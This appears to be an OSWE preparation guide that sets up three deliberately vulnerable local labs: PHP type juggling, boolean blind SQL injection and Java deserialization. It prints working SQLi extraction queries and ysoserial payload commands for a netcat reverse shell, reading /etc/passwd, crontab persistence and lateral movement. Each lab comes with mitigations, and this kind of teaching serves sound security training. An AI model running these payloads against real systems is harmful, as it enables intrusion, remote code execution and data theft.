OSWE CUSTOM LABS AND PREPARATION MASTER GUIDE
-
Start LAMPP
sudo /opt/lampp/lampp start
cd /opt/lampp
sudo ./manager-linux-x64.run- Opens visual control panel
- Shows service status (Apache, MySQL)
- Click buttons to start/stop services
- Website:
http://localhost - phpMyAdmin:
http://localhost/phpmyadmin - Files go in:
/opt/lampp/htdocs/
- Click "Stop" in GUI
- Or terminal:
sudo /opt/lampp/lampp stop
Easier than command line, same result.
-
Copy PHP Files
-
Place your
.phpfiles into the LAMPP web directory:cd OSWE_LAB_PREP/php_type_juggling/lab sudo cp -r . /opt/lampp/htdocs/.
-
Access them at: π
http://localhost/vulnerable_login.php
-
-
Import Database via phpMyAdmin
- Open: π http://localhost/phpmyadmin/
- Click Databases β Create new DB .
- Select Import tab.
- Browse and upload
database.sql. - Click Go β schema + data imported.
-
Update PHP Config Inside your PHP connection file (e.g.,
config.php):
// Database configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', '');
define('DB_NAME', 'type_juggling_lab');go to the folder where there is php.py and run python3 php.py http://localhost/vulnerable_login.php change the payload in return to the magic hash password you want
def php_magic_hashes():
print("[+] Returning php magic hashes whose md5 evaluate to 0")
return "aabg7XSs"sudo /opt/lampp/lampp startcd /opt/lampp
sudo ./manager-linux-x64.run- Opens visual control panel
- Shows service status (Apache, MySQL)
- Click buttons to start/stop services
- Website:
http://localhost - phpMyAdmin:
http://localhost/phpmyadmin - Files go in:
/opt/lampp/htdocs/
- Click "Stop" in GUI
- Or terminal:
sudo /opt/lampp/lampp stop
Easier than command line, same result.
- Open phpMyAdmin: π http://localhost/phpmyadmin/
- Click Databases β Create new database named
oswe_lab - Select the new database, go to Import tab
- Browse and upload
setup.sql - Click Go to execute
# Copy PHP files to web directory
cp config.php index.php /opt/lampp/htdocs/Access the vulnerable application: π http://localhost/index.php
sql-injection-lab/
βββ setup.sql # Database schema and data
βββ config.php # Database configuration
βββ index.php # Vulnerable web application
βββ sqli.py # Exploitation script
-
products(Visible table)- id, name, description, price
- Contains: OSWE Course Guide, Debugging Tool, etc.
-
users(Hidden target table)- id, username, password, is_admin
- Contains: admin user with flag as password
Username: oswe_user
Password: oswe_password
Database: oswe_lab// In index.php line ~20:
$sql = "SELECT name, description, price FROM products WHERE id = ". $id. " LIMIT 1";- Boolean-Based Blind SQL Injection
- No direct output of query results
- Uses presence/absence of "OSWE Course Guide" as boolean oracle
This script automates the extraction of the admin password using blind SQL injection.
cd ~/OSWE/sqli
python3 sqli.py http://localhost/index.php- Determines password length by testing LENGTH() conditions
- Extracts password character by character using SUBSTRING() and ASCII() comparisons
- Uses "OSWE Course Guide" in response as a boolean indicator
- Reconstructs the flag from extracted characters
charset = string.ascii_letters + string.digits + "{}_-@!?"
# Covers typical flag formats like: OSWE{Blind_SQLi_XAMPP_Mastery_2025}# Navigate to script directory
cd ~/OSWE/sqli
# Run the exploit
python3 sqli.py http://localhost/index.php[+] http://localhost/index.php is our target
[+] Length of the password is 34
OSWE{Blind_SQLi_XAMPP_Mastery_2025}
[+] Password is OSWE{Blind_SQLi_XAMPP_Mastery_2025}
[!] Done :)
http://localhost/index.php?id=1 AND 1=1 -- Shows product
http://localhost/index.php?id=1 AND 1=2 -- No product (page shows error)
http://localhost/index.php?id=1 AND LENGTH((SELECT password FROM users WHERE username='admin'))=34
http://localhost/index.php?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=79
# 79 = 'O' in ASCII
http://localhost/index.php?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=79 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1))=83 AND ...
- TRUE Condition: Product with ID=1 exists β Shows "OSWE Course Guide"
- FALSE Condition: No product returned β Shows "Product not found"
1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=791- Valid product ID that existsAND- Logical operator to add our conditionASCII(SUBSTRING(...))- Gets ASCII value of character at position=79- Compares to ASCII value of 'O'
The admin password is the flag: OSWE{Blind_SQLi_XAMPP_Mastery_2025}
- Use Prepared Statements:
$stmt = $conn->prepare("SELECT name, description, price FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();- Input Validation:
if (!is_numeric($id) || $id <= 0) {
die("Invalid product ID");
}- Use Parameterized Queries:
$sql = "SELECT name, description, price FROM products WHERE id = :id";
$stmt = $pdo->prepare($sql);
$stmt->execute(['id' => $id]);- Least Privilege Principle:
- Already implemented: Using
oswe_userwith limited privileges - Avoid using root database accounts
- Already implemented: Using
β
Understand Boolean-based blind SQL injection
β
Learn to exploit SQLi without direct output
β
Practice writing automated exploitation scripts
β
Understand database enumeration techniques
β
Learn about MySQL SUBSTRING() and ASCII() functions
β
Practice character-by-character data extraction
-
Database connection fails:
- Check if MySQL is running:
sudo /opt/lampp/lampp status - Verify credentials in
config.php
- Check if MySQL is running:
-
Exploit script doesn't find length:
- Check if "OSWE Course Guide" exists in response
- Test manually with payloads first
-
Character set incomplete:
- Modify charset in script if flag contains special characters
- OWASP SQL Injection Prevention Cheat Sheet
- PortSwigger SQL Injection Academy
- MySQL String Functions Documentation
This lab is for educational purposes only. Use only in controlled environments with proper authorization. Never test on systems you don't own or have explicit permission to test.
Happy hacking and learning SQL Injection! ππ»
A deliberately vulnerable Java web application demonstrating insecure deserialization attacks leading to Remote Code Execution (RCE). This lab showcases the classic Java deserialization vulnerability using Apache Commons Collections 3.1, similar to the vulnerability that affected many enterprise applications.
FOR EDUCATIONAL PURPOSES ONLY
This lab contains intentionally vulnerable code. Do not deploy in production environments or expose to untrusted networks.
- Understand Java serialization/deserialization mechanisms
- Learn about gadget chains in deserialization attacks
- Practice exploiting insecure deserialization vulnerabilities
- Develop and test payloads using ysoserial
- Implement proper input validation and secure deserialization practices
The lab consists of a simple Java Servlet that accepts serialized Java objects via HTTP POST and deserializes them without validation. The application uses Apache Commons Collections 3.1, which contains dangerous transformer chains that can be exploited for RCE.
// Critical vulnerability in doPost() method:
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object object = objectInputStream.readObject(); // UNSAFE DESERIALIZATIONdeserlab/
βββ src/main/java/com/example/VulnerableServlet.java
βββ src/main/webapp/WEB-INF/web.xml
βββ pom.xml
- Java 8 JDK
- Apache Maven 3.6+
- Python 3.8+ (for exploit scripts)
cd deserlab
mvn clean package# Start the Jetty embedded server
mvn jetty:run
# Application will be available at:
# http://localhost:8080/api/v1/ingestThe servlet's doPost() method blindly deserializes any Java object sent in the HTTP request body. When combined with Apache Commons Collections 3.1's transformer chains, this allows attackers to construct malicious serialized objects that execute arbitrary commands during deserialization.
- Vulnerable Method:
ObjectInputStream.readObject() - Dangerous Library: Apache Commons Collections 3.1
- Gadget Chains: CommonsCollections1, CommonsCollections5, etc.
- Attack Vector: HTTP POST with serialized Java object in body
- Impact: Remote Code Execution as the server user
- ysoserial - Payload generation tool
- Netcat - For reverse shell connections
- Python with requests library
-
Start the vulnerable server:
cd deserlab mvn jetty:run -
Generate a malicious payload:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.bin
-
Send the exploit:
curl -X POST http://localhost:8080/api/v1/ingest \ --data-binary @payload.bin \ -H "Content-Type: application/octet-stream"
-
Start a listener:
nc -nlvp 9003
-
Generate and send reverse shell payload:
java -jar ysoserial.jar CommonsCollections5 "nc -e /bin/bash YOUR_IP 9003" > revshell.bin curl -X POST http://localhost:8080/api/v1/ingest \ --data-binary @revshell.bin \ -H "Content-Type: application/octet-stream"
-
Or use the provided Python exploit script:
python3 deserialize.py http://localhost:8080/api/v1/ingest YOUR_IP 9003
-
Use Safe Alternatives:
- Implement look-ahead deserialization
- Use
ObjectInputFilter(Java 9+) - Validate serialized objects before deserialization
-
Library Updates:
- Upgrade to Apache Commons Collections 4.0+
- Apply security patches
-
Input Validation:
- Implement allow-list for expected classes
- Use signed serialized objects
- Never deserialize untrusted data
- Use alternative data formats (JSON, XML, Protobuf)
- Implement proper class filtering
- Use the principle of least privilege for server execution
The lab supports multiple gadget chains. Test which ones work with:
# Test various chains
for chain in CommonsCollections1 CommonsCollections5 CommonsCollections6 CommonsCollections7; do
echo "Testing $chain..."
java -jar ysoserial.jar $chain "touch /tmp/test_$chain" > payload.bin
curl -X POST http://localhost:8080/api/v1/ingest --data-binary @payload.bin -H "Content-Type: application/octet-stream"
done| Aspect | Impact Level |
|---|---|
| Confidentiality | High - Can read arbitrary files |
| Integrity | High - Can modify/delete files |
| Availability | Medium - Can crash the server |
| Privilege Escalation | Depends on server user privileges |
-
Information Gathering:
java -jar ysoserial.jar CommonsCollections5 "cat /etc/passwd" > info.bin
-
Persistence:
java -jar ysoserial.jar CommonsCollections5 "echo 'malicious_cron' >> /etc/crontab" > persist.bin
-
Lateral Movement:
java -jar ysoserial.jar CommonsCollections5 "ssh user@internal_host" > lateral.bin
- Obfuscating payloads
- Using alternative encoding
- Chaining multiple gadget chains
- Exploiting different library versions
This lab helps understand:
- The danger of blind deserialization
- How gadget chains work in Java
- The importance of input validation
- Real-world exploitation techniques
- Proper mitigation strategies
- Oracle Secure Coding Guidelines for Java
- OWASP Deserialization Cheat Sheet
- Apache Commons Collections Security
- CVE-2015-4852 - Apache Commons Collections RCE
- CVE-2016-8735 - Java Deserialization RCE
- Multiple vendor-specific deserialization vulnerabilities
Found an issue or have an improvement? Please open an issue or submit a pull request following the project's contribution guidelines.
This project is licensed for educational use only. See LICENSE file for details.
This software is provided for educational purposes only. The authors are not responsible for any misuse or damage caused by this program. Use responsibly and only on systems you own or have permission to test.
Remember: Always practice ethical hacking. Only test systems you own or have explicit permission to test.